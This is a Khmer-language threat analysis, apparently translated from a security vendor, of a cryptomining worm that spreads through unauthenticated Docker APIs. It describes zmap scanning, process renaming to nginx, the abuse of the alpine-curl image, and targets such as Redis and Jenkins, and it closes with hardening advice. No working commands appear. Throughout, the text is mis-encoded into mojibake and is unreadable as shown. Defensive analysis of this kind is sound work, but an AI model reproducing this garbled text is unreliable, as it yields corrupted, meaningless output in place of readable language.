αž˜αž»αž“αž–αŸαž›αž…αžΆαž”αŸ‹αž•αŸ’αžαžΎαž˜αž’αŸ’αž“αž€αžšαž»αž€αžšαž€αžšαŸ‰αŸ‚ αžœαžΆαžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžαžΌαžšαžˆαŸ’αž˜αŸ„αŸ‡αž‘αŸ…αž‡αžΆ nginx αŸ” αž€αŸ†αžŽαŸ‚αž•αŸ’αžŸαŸαž„αž‘αŸ€αžαž“αŸƒαžŸαŸ’αž‚αŸ’αžšαžΈαž”αž“αŸαŸ‡αž”αŸ’αžαžΌαžšαžˆαŸ’αž˜αŸ„αŸ‡αž’αŸ’αž“αž€αžšαž»αž€αžšαž€αžšαŸ‰αŸ‚αž‘αŸ…αž‡αžΆαžŸαŸαžœαžΆαž€αž˜αŸ’αž˜αžŸαŸ’αžšαž”αž…αŸ’αž”αžΆαž”αŸ‹αž•αŸ’αžŸαŸαž„αž‘αŸ€αžαžŠαŸ‚αž›αž’αžΆαž…αž˜αžΆαž“αžœαžαŸ’αžαž˜αžΆαž“αž“αŸ…αž€αŸ’αž“αž»αž„αž”αžšαž·αžŸαŸ’αžαžΆαž“αž›αžΈαž“αž»αž…αŸ” αž‡αžΆαž’αž˜αŸ’αž˜αžαžΆ αžœαžΆαž‚αŸ’αžšαž”αŸ‹αž‚αŸ’αžšαžΆαž“αŸ‹αžŠαžΎαž˜αŸ’αž”αžΈαž†αŸ’αž›αž„αž€αžΆαžαŸ‹αž€αžΆαžšαžαŸ’αžšαž½αžαž–αž·αž“αž·αžαŸ’αž™αž”αŸ’αžšαž†αžΆαŸ†αž„αž“αžΉαž„αž”αž‰αŸ’αž‡αžΈαž“αŸƒαžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαžŠαŸ‚αž›αž€αŸ†αž–αž»αž„αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαŸ”

αžŸαŸ’αž‚αŸ’αžšαžΈαž”αžŸαŸ’αžœαŸ‚αž„αžšαž€αž€αŸαž˜αžΆαž“αž›αž€αŸ’αžαžŽαŸˆαž–αž·αžŸαŸαžŸαž•αž„αžŠαŸ‚αžšαŸ” αžœαžΆαžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž‡αžΆαž˜αž½αž™αžŸαŸαžœαžΆαž€αž˜αŸ’αž˜ URL αžŠαžΌαž…αž‚αŸ’αž“αžΆαžŠαžΎαž˜αŸ’αž”αžΈαžŠαžΆαž€αŸ‹αž–αž„αŸ’αžšαžΆαž™αž§αž”αž€αžšαžŽαŸαž…αžΆαŸ†αž”αžΆαž…αŸ‹αŸ” αž€αŸ’αž“αž»αž„αž…αŸ†αž“αŸ„αž˜αž–αž½αž€αž‚αŸαž˜αžΆαž“ zmap binary αžŠαŸ‚αž›αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαžŠαžΎαž˜αŸ’αž”αžΈαžŸαŸ’αž€αŸαž“αž”αžŽαŸ’αžαžΆαž‰ αž“αž·αž„αž‘αž‘αž½αž›αž”αžΆαž“αž”αž‰αŸ’αž‡αžΈαž…αŸ’αžšαž€αž”αžΎαž€αŸ” αžŸαŸ’αž‚αŸ’αžšαžΈαž”αž€αŸαž•αŸ’αž‘αž»αž€αž”αŸ’αžšαž–αŸαž“αŸ’αž’αž‚αŸ„αž›αž–αžΈαžšαž•αŸ’αžŸαŸαž„αž‘αŸ€αžαžŠαŸ‚αž›αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαžŠαžΎαž˜αŸ’αž”αžΈαž’αŸ’αžœαžΎαž’αž“αŸ’αžαžšαž€αž˜αŸ’αž˜αž‡αžΆαž˜αž½αž™αžŸαŸαžœαžΆαž€αž˜αŸ’αž˜αžŠαŸ‚αž›αž”αžΆαž“αžšαž€αžƒαžΎαž‰ αž“αž·αž„αž‘αž‘αž½αž›αž”αžŠαžΆαž–αžΈαž–αž½αž€αž‚αŸαžŠαžΎαž˜αŸ’αž”αžΈαž€αŸ†αžŽαžαŸ‹αž–αŸαžαŸŒαž˜αžΆαž“αž”αž“αŸ’αžαŸ‚αž˜αž’αŸ†αž–αžΈαžŸαŸαžœαžΆαž€αž˜αŸ’αž˜αžŠαŸ‚αž›αž”αžΆαž“αžšαž€αžƒαžΎαž‰ (αž§αž‘αžΆαž αžšαžŽαŸ αž€αŸ†αžŽαŸ‚αžšαž”αžŸαŸ‹αžœαžΆ)αŸ”

αžŸαŸ’αž‚αŸ’αžšαžΈαž”αž€αŸαž€αŸ†αžŽαžαŸ‹αž‡αžΆαž˜αž»αž“αž“αžΌαžœαž‡αž½αžšαž”αžŽαŸ’αžαžΆαž‰αž˜αž½αž™αž…αŸ†αž“αž½αž“αžŠαŸ‚αž›αžαŸ’αžšαžΌαžœαžŸαŸ’αž€αŸαž“ αž”αŸ‰αž»αž“αŸ’αžαŸ‚αžœαžΆαž’αžΆαžŸαŸ’αžšαŸαž™αž›αžΎαž€αŸ†αžŽαŸ‚αž“αŸƒαžŸαŸ’αž‚αŸ’αžšαžΈαž”αŸ” αžœαžΆαž€αŸαž€αŸ†αžŽαžαŸ‹αž…αŸ’αžšαž€αž‚αŸ„αž›αžŠαŸ…αž–αžΈαžŸαŸαžœαžΆαž€αž˜αŸ’αž˜αž•αž„αžŠαŸ‚αžš - αž€αŸ’αž“αž»αž„αž€αžšαžŽαžΈαž“αŸαŸ‡ Docker - αž˜αž»αž“αž–αŸαž›αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαžŸαŸ’αž€αŸαž“αŸ”

αžŠαžšαžΆαž”αžŽαžΆαž‚αŸ„αž›αžŠαŸ…αžŠαŸ‚αž›αž’αžΆαž…αž’αŸ’αžœαžΎαž”αžΆαž“αžαŸ’αžšαžΌαžœαž”αžΆαž“αžšαž€αžƒαžΎαž‰ αž”αžŠαžΆαžαŸ’αžšαžΌαžœαž”αžΆαž“αžŠαž€αž…αŸαž‰αžŠαŸ„αž™αžŸαŸ’αžœαŸαž™αž”αŸ’αžšαžœαžαŸ’αžαž·αž–αžΈαž–αž½αž€αž‚αŸαŸ” αžŸαŸ’αž‚αŸ’αžšαžΈαž”αž€αŸαžαŸ’αžšαž„αž‚αŸ„αž›αžŠαŸ…αž’αžΆαžŸαŸ’αžšαŸαž™αž›αžΎαžŸαŸαžœαžΆαž€αž˜αŸ’αž˜ αž€αž˜αŸ’αž˜αžœαž·αž’αžΈ αžŸαž˜αžΆαžŸαž’αžΆαžαž» αž¬αžœαŸαž‘αž·αž€αžΆαžŠαŸ‚αž›αž…αžΆαž”αŸ‹αž’αžΆαžšαž˜αŸ’αž˜αžŽαŸαŸ– Redis, Jenkins, Drupal, MODX, Kubernetes Master, Docker 1.16 client αž“αž·αž„ Apache CouchDB αŸ” αž”αŸ’αžšαžŸαž·αž“αž”αžΎαž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž˜αŸαžŠαŸ‚αž›αž”αžΆαž“αžŸαŸ’αž€αŸαž“αžαŸ’αžšαžΌαžœαž‚αŸ’αž“αžΆαž“αžΉαž„αž–αž½αž€αžœαžΆαžŽαžΆαž˜αž½αž™αž“αŸ„αŸ‡ αžœαžΆαžαŸ’αžšαžΌαžœαž”αžΆαž“αžšαž€αŸ’αžŸαžΆαž‘αž»αž€αž€αŸ’αž“αž»αž„αž―αž€αžŸαžΆαžšαž’αžαŸ’αžαž”αž‘ αžŠαŸ‚αž›αž’αŸ’αž“αž€αžœαžΆαž™αž”αŸ’αžšαž αžΆαžšαž’αžΆαž…αž”αŸ’αžšαžΎαž“αŸ…αž–αŸαž›αž€αŸ’αžšαŸ„αž™αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž€αžΆαžšαžœαž·αž—αžΆαž‚ αž“αž·αž„αž€αžΆαžšαž›αž½αž…αž…αžΌαž›αŸ” αž―αž€αžŸαžΆαžšαž’αžαŸ’αžαž”αž‘αž‘αžΆαŸ†αž„αž“αŸαŸ‡αžαŸ’αžšαžΌαžœαž”αžΆαž“αž•αŸ’αž‘αž»αž€αž‘αžΎαž„αž‘αŸ…αž€αžΆαž“αŸ‹αž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž˜αŸαžšαž”αžŸαŸ‹αž’αŸ’αž“αž€αžœαžΆαž™αž”αŸ’αžšαž αžΆαžšαžαžΆαž˜αžšαž™αŸˆαžαŸ†αžŽαžαžΆαž˜αžœαž“αŸ’αžαŸ” αž“αŸ„αŸ‡αž‚αžΊ URL αžŠαžΆαž…αŸ‹αžŠαŸ„αž™αž‘αŸ‚αž€αž˜αž½αž™αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž―αž€αžŸαžΆαžšαž“αžΈαž˜αž½αž™αŸ— αžŠαŸ‚αž›αž˜αžΆαž“αž“αŸαž™αžαžΆαž€αžΆαžšαž…αžΌαž›αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αž‡αžΆαž”αž“αŸ’αžαž”αž“αŸ’αž‘αžΆαž”αŸ‹αž‚αžΊαž–αž·αž”αžΆαž€αŸ”

αžœαŸ‰αž·αž…αž‘αŸαžšαžœαžΆαž™αž”αŸ’αžšαž αžΆαžšαž‚αžΊαž‡αžΆαžšαžΌαž”αž—αžΆαž– Docker αžŠαžΌαž…αžŠαŸ‚αž›αž’αžΆαž…αž˜αžΎαž›αžƒαžΎαž‰αž“αŸ…αž€αŸ’αž“αž»αž„αž”αŸ†αžŽαŸ‚αž€αž–αžΈαžšαž”αž“αŸ’αž‘αžΆαž”αŸ‹αž“αŸƒαž€αžΌαžŠαŸ”

αžšαž”αŸ€αž”αžŠαŸ‚αž› Docker API αž˜αž·αž“αž˜αŸ‚αž“αž‡αžΆαž€αž˜αŸ’αž˜αžŸαž·αž‘αŸ’αž’αž· αž“αž·αž„αžšαžΌαž”αž—αžΆαž–αžŸαžΆαž’αžΆαžšαžŽαŸˆαž–αžΈαžŸαž αž‚αž˜αž“αŸαž€αŸ†αž–αž»αž„αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αžŠαžΎαž˜αŸ’αž”αžΈαž…αŸ‚αž€αž…αžΆαž™αž’αŸ’αž“αž€αžšαž»αž€αžšαž€αžšαžΌαž”αž·αž™αž”αŸαžŽαŸ’αžŽαž‚αŸ’αžšαžΈαž”αžαžΌ
αž“αŸ…αž•αŸ’αž“αŸ‚αž€αžαžΆαž„αž›αžΎαž€αŸ†αž–αž»αž„αž”αŸ’αžαžΌαžšαžˆαŸ’αž˜αŸ„αŸ‡αž‘αŸ…αž‡αžΆαžŸαŸαžœαžΆαž€αž˜αŸ’αž˜αžŸαŸ’αžšαž”αž…αŸ’αž”αžΆαž”αŸ‹ αž αžΎαž™αž“αŸ…αžαžΆαž„αž€αŸ’αžšαŸ„αž˜αž‚αžΊαž‡αžΆαžšαž”αŸ€αž”αžŠαŸ‚αž› zmap αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαžŠαžΎαž˜αŸ’αž”αžΈαžŸαŸ’αž€αŸαž“αž”αžŽαŸ’αžαžΆαž‰

αžšαž”αŸ€αž”αžŠαŸ‚αž› Docker API αž˜αž·αž“αž˜αŸ‚αž“αž‡αžΆαž€αž˜αŸ’αž˜αžŸαž·αž‘αŸ’αž’αž· αž“αž·αž„αžšαžΌαž”αž—αžΆαž–αžŸαžΆαž’αžΆαžšαžŽαŸˆαž–αžΈαžŸαž αž‚αž˜αž“αŸαž€αŸ†αž–αž»αž„αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αžŠαžΎαž˜αŸ’αž”αžΈαž…αŸ‚αž€αž…αžΆαž™αž’αŸ’αž“αž€αžšαž»αž€αžšαž€αžšαžΌαž”αž·αž™αž”αŸαžŽαŸ’αžŽαž‚αŸ’αžšαžΈαž”αžαžΌ
αž“αŸ…αž•αŸ’αž“αŸ‚αž€αžαžΆαž„αž›αžΎαž‚αžΊαž‡αžΆαž‡αž½αžšαž”αžŽαŸ’αžαžΆαž‰αžŠαŸ‚αž›αž”αžΆαž“αž€αŸ†αžŽαžαŸ‹αž‡αžΆαž˜αž»αž“ αž“αŸ…αžαžΆαž„αž€αŸ’αžšαŸ„αž˜αž‚αžΊαž‡αžΆαž…αŸ’αžšαž€αž‡αžΆαž€αŸ‹αž›αžΆαž€αŸ‹αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αžŸαŸ’αžœαŸ‚αž„αžšαž€αžŸαŸαžœαžΆαž€αž˜αŸ’αž˜ αžšαž½αž˜αž‘αžΆαŸ†αž„ Docker αž•αž„αžŠαŸ‚αžšαŸ”

αžšαž”αŸ€αž”αžŠαŸ‚αž› Docker API αž˜αž·αž“αž˜αŸ‚αž“αž‡αžΆαž€αž˜αŸ’αž˜αžŸαž·αž‘αŸ’αž’αž· αž“αž·αž„αžšαžΌαž”αž—αžΆαž–αžŸαžΆαž’αžΆαžšαžŽαŸˆαž–αžΈαžŸαž αž‚αž˜αž“αŸαž€αŸ†αž–αž»αž„αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αžŠαžΎαž˜αŸ’αž”αžΈαž…αŸ‚αž€αž…αžΆαž™αž’αŸ’αž“αž€αžšαž»αž€αžšαž€αžšαžΌαž”αž·αž™αž”αŸαžŽαŸ’αžŽαž‚αŸ’αžšαžΈαž”αžαžΌ
αžšαžΌαž”αžαžαž’αŸαž€αŸ’αžšαž„αŸ‹αž”αž„αŸ’αž αžΆαž‰αžαžΆαžšαžΌαž”αž—αžΆαž– alpine-curl αžαŸ’αžšαžΌαžœαž”αžΆαž“αž‘αžΆαž‰αž™αž€αž…αŸ’αžšαžΎαž“αž‡αžΆαž„ 10 αž›αžΆαž“αžŠαž„

αžŠαŸ„αž™αž•αŸ’αž’αŸ‚αž€αž›αžΎ Alpine Linux αž“αž·αž„ curl αžŠαŸ‚αž›αž‡αžΆαž§αž”αž€αžšαžŽαŸ CLI αžŠαŸ‚αž›αž˜αžΆαž“αž”αŸ’αžšαžŸαž·αž‘αŸ’αž’αž—αžΆαž–αž’αž“αž’αžΆαž“αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž•αŸ’αž‘αŸαžšαž―αž€αžŸαžΆαžšαž›αžΎαž–αž·αž’αžΈαž€αžΆαžšαž•αŸ’αžŸαŸαž„αŸ— αž’αŸ’αž“αž€αž’αžΆαž…αž”αž„αŸ’αž€αžΎαž αžšαžΌαž”αžαžαžšαž”αžŸαŸ‹ Docker. αžŠαžΌαž…αžŠαŸ‚αž›αž’αŸ’αž“αž€αž’αžΆαž…αžƒαžΎαž‰αž“αŸ…αž€αŸ’αž“αž»αž„αžšαžΌαž”αž—αžΆαž–αž˜αž»αž“ αžšαžΌαž”αž—αžΆαž–αž“αŸαŸ‡αžαŸ’αžšαžΌαžœαž”αžΆαž“αž‘αžΆαž‰αž™αž€αž…αŸ’αžšαžΎαž“αž‡αžΆαž„ 10 αž›αžΆαž“αžŠαž„αžšαž½αž…αž‘αŸ…αž αžΎαž™αŸ” αž˜αž½αž™αž…αŸ†αž“αž½αž“αž’αŸ†αž“αŸƒαž€αžΆαžšαž‘αžΆαž‰αž™αž€αž’αžΆαž…αž˜αžΆαž“αž“αŸαž™αžαžΆαž”αŸ’αžšαžΎαžšαžΌαž”αž—αžΆαž–αž“αŸαŸ‡αž‡αžΆαž…αŸ†αžŽαž»αž…αž…αžΌαž›αŸ” αžšαžΌαž”αž—αžΆαž–αž“αŸαŸ‡αžαŸ’αžšαžΌαžœαž”αžΆαž“αž’αŸ’αžœαžΎαž”αž…αŸ’αž…αž»αž”αŸ’αž”αž“αŸ’αž“αž—αžΆαž–αž‡αžΆαž„αž”αŸ’αžšαžΆαŸ†αž˜αž½αž™αžαŸ‚αž˜αž»αž“ αž’αŸ’αž“αž€αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αž˜αž·αž“αž”αžΆαž“αž‘αžΆαž‰αž™αž€αžšαžΌαž”αž—αžΆαž–αž•αŸ’αžŸαŸαž„αž‘αŸ€αžαž–αžΈαžƒαŸ’αž›αžΆαŸ†αž„αž“αŸαŸ‡αž‰αžΉαž€αž‰αžΆαž”αŸ‹αž‘αŸαŸ” αž“αŸ…αž€αŸ’αž“αž»αž„ Docker αž…αŸ†αžŽαž»αž…αž…αžΌαž› - αžŸαŸ†αžŽαž»αŸ†αž“αŸƒαž€αžΆαžšαžŽαŸ‚αž“αžΆαŸ†αžŠαŸ‚αž›αž”αŸ’αžšαžΎαžŠαžΎαž˜αŸ’αž”αžΈαž€αŸ†αžŽαžαŸ‹αžšαž…αž“αžΆαžŸαž˜αŸ’αž–αŸαž“αŸ’αž’αž€αž»αž„αžαžΊαž“αŸαžšαžŠαžΎαž˜αŸ’αž”αžΈαžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαžœαžΆαŸ” αž”αŸ’αžšαžŸαž·αž“αž”αžΎαž€αžΆαžšαž€αŸ†αžŽαžαŸ‹αž…αŸ†αžŽαž»αž…αž…αžΌαž›αž˜αž·αž“αžαŸ’αžšαžΉαž˜αžαŸ’αžšαžΌαžœ (αž§αž‘αžΆαž αžšαžŽαŸ αž€αž»αž„αžαžΊαž“αŸαžšαžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αžΎαž€αž…αŸαž‰αž–αžΈαž’αŸŠαžΈαž“αž’αžΊαžŽαž·αž) αžšαžΌαž”αž—αžΆαž–αž’αžΆαž…αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαž‡αžΆαžœαŸ‰αž·αž…αž‘αŸαžšαžœαžΆαž™αž”αŸ’αžšαž αžΆαžšαŸ” αž’αŸ’αž“αž€αžœαžΆαž™αž”αŸ’αžšαž αžΆαžšαž’αžΆαž…αž”αŸ’αžšαžΎαžœαžΆαžŠαžΎαž˜αŸ’αž”αžΈαž”αž‰αŸ’αž‡αžΌαž“αž”αž“αŸ’αž‘αž»αž€ αž”αŸ’αžšαžŸαž·αž“αž”αžΎαž–αž½αž€αž‚αŸαžšαž€αžƒαžΎαž‰αž€αž»αž„αžαžΊαž“αŸαžšαžŠαŸ‚αž›αž”αžΆαž“αž€αŸ†αžŽαžαŸ‹αžšαž…αž“αžΆαžŸαž˜αŸ’αž–αŸαž“αŸ’αž’αžαž»αžŸ αž¬αž”αžΎαž€αž‘αž»αž€αžŠαŸ„αž™αž˜αž·αž“αž”αžΆαž“αž‚αžΆαŸ†αž‘αŸ’αžšαŸ”

αžœαžΆαž‡αžΆαž€αžΆαžšαžŸαŸ†αžαžΆαž“αŸ‹αž€αŸ’αž“αž»αž„αž€αžΆαžšαž€αžαŸ‹αžŸαž˜αŸ’αž‚αžΆαž›αŸ‹αžαžΆαžšαžΌαž”αž—αžΆαž–αž“αŸαŸ‡ (alpine-curl) αžαŸ’αž›αž½αž“αžœαžΆαž˜αž·αž“αž˜αŸ‚αž“αž‡αžΆαž–αŸ’αž™αžΆαž”αžΆαž‘αž‘αŸαž”αŸ‰αž»αž“αŸ’αžαŸ‚αžŠαžΌαž…αžŠαŸ‚αž›αž’αŸ’αž“αž€αž”αžΆαž“αžƒαžΎαž‰αžαžΆαž„αž›αžΎαžœαžΆαž’αžΆαž…αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαžŠαžΎαž˜αŸ’αž”αžΈαž’αž“αž»αžœαžαŸ’αžαž˜αž»αžαž„αžΆαžšαž–αŸ’αž™αžΆαž”αžΆαž‘αŸ” αžšαžΌαž”αž—αžΆαž– Docker αžŸαŸ’αžšαžŠαŸ€αž„αž‚αŸ’αž“αžΆαž€αŸαž’αžΆαž…αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαžŠαžΎαž˜αŸ’αž”αžΈαž’αŸ’αžœαžΎαžŸαž€αž˜αŸ’αž˜αž—αžΆαž–αž–αŸ’αž™αžΆαž”αžΆαž‘αž•αž„αžŠαŸ‚αžšαŸ” αž™αžΎαž„αž”αžΆαž“αž‘αžΆαž€αŸ‹αž‘αž„ Docker αž“αž·αž„αž’αŸ’αžœαžΎαž€αžΆαžšαž‡αžΆαž˜αž½αž™αž–αž½αž€αž‚αŸαž›αžΎαž”αž‰αŸ’αž αžΆαž“αŸαŸ‡αŸ”

αž’αž“αž»αžŸαžΆαžŸαž“αŸ

αž€αžΆαžšαž€αŸ†αžŽαžαŸ‹αž˜αž·αž“αžαŸ’αžšαžΉαž˜αžαŸ’αžšαžΌαžœ αž“αŸ…αžŸαž›αŸ‹ αž”αž‰αŸ’αž αžΆαžαŸαžš αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž€αŸ’αžšαž»αž˜αž αŸŠαž»αž“αž‡αžΆαž…αŸ’αžšαžΎαž“ αž‡αžΆαž–αž·αžŸαŸαžŸαž€αŸ’αžšαž»αž˜αž αŸŠαž»αž“αžŠαŸ‚αž›αž€αŸ†αž–αž»αž„αž’αž“αž»αžœαžαŸ’αž DevOpsαž•αŸ’αžαŸ„αžαž›αžΎαž€αžΆαžšαž’αž—αž·αžœαžŒαŸ’αžαž“αŸ αž“αž·αž„αž€αžΆαžšαž…αŸ‚αž€αž…αžΆαž™αž™αŸ‰αžΆαž„αž†αžΆαž”αŸ‹αžšαž αŸαžŸαŸ” αž’αŸ’αžœαžΈαž‚αŸ’αžšαž”αŸ‹αž™αŸ‰αžΆαž„αž‚αžΊαž€αžΆαž“αŸ‹αžαŸ‚αž’αŸ’αž„αž“αŸ‹αž’αŸ’αž„αžšαž‘αžΎαž„αžŠαŸ„αž™αžŸαžΆαžšαžαž˜αŸ’αžšαžΌαžœαž€αžΆαžšαž€αŸ’αž“αž»αž„αž€αžΆαžšαž’αž“αž»αž›αŸ„αž˜αžαžΆαž˜αž…αŸ’αž”αžΆαž”αŸ‹αžŸαžœαž“αž€αž˜αŸ’αž˜ αž“αž·αž„αž€αžΆαžšαžαŸ’αžšαž½αžαž–αž·αž“αž·αžαŸ’αž™ αžαž˜αŸ’αžšαžΌαžœαž€αžΆαžšαž€αŸ’αž“αž»αž„αž€αžΆαžšαžαŸ’αžšαž½αžαž–αž·αž“αž·αžαŸ’αž™αž€αžΆαžšαžŸαž˜αŸ’αž„αžΆαžαŸ‹αž‘αž·αž“αŸ’αž“αž“αŸαž™ αž€αŸαžŠαžΌαž…αž‡αžΆαž€αžΆαžšαžαžΌαž…αžαžΆαžαžŠαŸαž’αŸ†αžŸαž˜αŸ’αž”αžΎαž˜αž–αžΈαž€αžΆαžšαž˜αž·αž“αž‚αŸ„αžšαž–αžαžΆαž˜αžšαž”αžŸαŸ‹αž–αž½αž€αž‚αŸαŸ” αž€αžΆαžšαž”αž‰αŸ’αž…αžΌαž›αžŸαŸ’αžœαŸαž™αž”αŸ’αžšαžœαžαŸ’αžαž·αž€αž˜αŸ’αž˜αžŸαž»αžœαžαŸ’αžαž·αž—αžΆαž–αž‘αŸ…αž€αŸ’αž“αž»αž„αžœαžŠαŸ’αžαž“αŸƒαž€αžΆαžšαž’αž—αž·αžœαžŒαŸ’αžαž“αŸαž˜αž·αž“αžαŸ’αžšαžΉαž˜αžαŸ‚αž‡αž½αž™αž’αŸ’αž“αž€αžŸαŸ’αžœαŸ‚αž„αžšαž€αžšαž“αŸ’αž’αžŸαž»αžœαžαŸ’αžαž·αž—αžΆαž–αžŠαŸ‚αž›αž”αŸ’αžšαž αŸ‚αž›αž‡αžΆαž˜αž·αž“αž’αžΆαž…αžšαž€αžƒαžΎαž‰αž“αŸ„αŸ‡αž‘αŸ αž”αŸ‰αž»αž“αŸ’αžαŸ‚αžœαžΆαž€αŸαž‡αž½αž™αž’αŸ’αž“αž€αž€αžΆαžαŸ‹αž”αž“αŸ’αžαž™αž”αž“αŸ’αž‘αž»αž€αž€αžΆαžšαž„αžΆαžšαžŠαŸ‚αž›αž˜αž·αž“αž…αžΆαŸ†αž”αžΆαž…αŸ‹αž•αž„αžŠαŸ‚αžš αžŠαžΌαž…αž‡αžΆαžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž”αž„αŸ’αž€αžΎαžαž€αž˜αŸ’αž˜αžœαž·αž’αžΈαž”αž“αŸ’αžαŸ‚αž˜αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž—αžΆαž–αž„αžΆαž™αžšαž„αž‚αŸ’αžšαŸ„αŸ‡αž“αžΈαž˜αž½αž™αŸ—αžŠαŸ‚αž›αž”αžΆαž“αžšαž€αžƒαžΎαž‰ αž¬αž€αžΆαžšαž€αŸ†αžŽαžαŸ‹αž˜αž·αž“αžαŸ’αžšαžΉαž˜αžαŸ’αžšαžΌαžœαž”αž“αŸ’αž‘αžΆαž”αŸ‹αž–αžΈαž€αž˜αŸ’αž˜αžœαž·αž’αžΈαžαŸ’αžšαžΌαžœαž”αžΆαž“αžŠαžΆαž€αŸ‹αž±αŸ’αž™αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αŸ”

αž§αž”αŸ’αž”αžαŸ’αžαž·αž αŸαžαž»αžŠαŸ‚αž›αž”αžΆαž“αž–αž·αž—αžΆαž€αŸ’αžŸαžΆαž“αŸ…αž€αŸ’αž“αž»αž„αž’αžαŸ’αžαž”αž‘αž“αŸαŸ‡αž”αž„αŸ’αž αžΆαž‰αž–αžΈαžαž˜αŸ’αžšαžΌαžœαž€αžΆαžšαž€αŸ’αž“αž»αž„αž€αžΆαžšαž‚αž·αžαž‚αžΌαžšαž–αžΈαžŸαž»αžœαžαŸ’αžαž·αž—αžΆαž–αžαžΆαŸ†αž„αž–αžΈαžŠαŸ†αž”αžΌαž„ αžšαž½αž˜αž‘αžΆαŸ†αž„αž’αž“αž»αžŸαžΆαžŸαž“αŸαžŠαžΌαž…αžαžΆαž„αž€αŸ’αžšαŸ„αž˜αŸˆ

  • αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž’αŸ’αž“αž€αž‚αŸ’αžšαž”αŸ‹αž‚αŸ’αžšαž„αž”αŸ’αžšαž–αŸαž“αŸ’αž’ αž“αž·αž„αž’αŸ’αž“αž€αž’αž—αž·αžœαžŒαŸ’αžαž“αŸαŸ– αž–αž·αž“αž·αžαŸ’αž™αž˜αžΎαž›αž€αžΆαžšαž€αŸ†αžŽαžαŸ‹ API αžšαž”αžŸαŸ‹αž’αŸ’αž“αž€αž‡αžΆαž“αž·αž…αŸ’αž… αžŠαžΎαž˜αŸ’αž”αžΈαž”αŸ’αžšαžΆαž€αžŠαžαžΆαž’αŸ’αžœαžΈαŸ—αž‚αŸ’αžšαž”αŸ‹αž™αŸ‰αžΆαž„αžαŸ’αžšαžΌαžœαž”αžΆαž“αž€αŸ†αžŽαžαŸ‹αžšαž…αž“αžΆαžŸαž˜αŸ’αž–αŸαž“αŸ’αž’αžŠαžΎαž˜αŸ’αž”αžΈαž‘αž‘αž½αž›αž™αž€αžαŸ‚αžŸαŸ†αžŽαžΎαž–αžΈαž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž˜αŸαž‡αžΆαž€αŸ‹αž›αžΆαž€αŸ‹ αž¬αž”αžŽαŸ’αžαžΆαž‰αžαžΆαž„αž€αŸ’αž“αž»αž„αž”αŸ‰αž»αžŽαŸ’αžŽαŸ„αŸ‡αŸ”
  • αž’αž“αž»αžœαžαŸ’αžαžαžΆαž˜αž‚αŸ„αž›αž€αžΆαžšαžŽαŸαž“αŸƒαžŸαž·αž‘αŸ’αž’αž·αžαž·αž…αž”αŸ†αž•αž»αžαŸ– αž’αžΆαž“αžΆαžαžΆαžšαžΌαž”αž—αžΆαž–αž€αž»αž„αžαžΊαž“αŸαžšαžαŸ’αžšαžΌαžœαž”αžΆαž“αž…αž»αŸ‡αž αžαŸ’αžαž›αŸαžαžΆ αž“αž·αž„αž•αŸ’αž‘αŸ€αž„αž•αŸ’αž‘αžΆαžαŸ‹ αž€αŸ†αžŽαžαŸ‹αž€αžΆαžšαž…αžΌαž›αž”αŸ’αžšαžΎαžŸαž˜αžΆαžŸαž’αžΆαžαž»αžŸαŸ†αžαžΆαž“αŸ‹αŸ— (αžŸαŸαžœαžΆαž€αž˜αŸ’αž˜αž”αžΎαž€αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž€αž»αž„αžαžΊαž“αŸαžš) αž“αž·αž„αž”αž“αŸ’αžαŸ‚αž˜αž€αžΆαžšαž’αŸŠαž·αž“αž‚αŸ’αžšαžΈαž”αž‘αŸ…αž“αžΉαž„αž€αžΆαžšαžαž—αŸ’αž‡αžΆαž”αŸ‹αž”αžŽαŸ’αžαžΆαž‰αŸ”
  • αž’αŸ’αžœαžΎαžαžΆαž˜ αž’αž“αž»αžŸαžΆαžŸαž“αŸ αž“αž·αž„αž”αžΎαž€αž™αž“αŸ’αžαž€αžΆαžšαžŸαž»αžœαžαŸ’αžαž·αž—αžΆαž– ឧ. αž–αžΈ Docker αž“αž·αž„αžŸαžΆαž„αžŸαž„αŸ‹αž‘αžΎαž„αž“αŸ…αž€αŸ’αž“αž»αž„ αž›αž€αŸ’αžαžŽαŸˆαžŸαž»αžœαžαŸ’αžαž·αž—αžΆαž–.
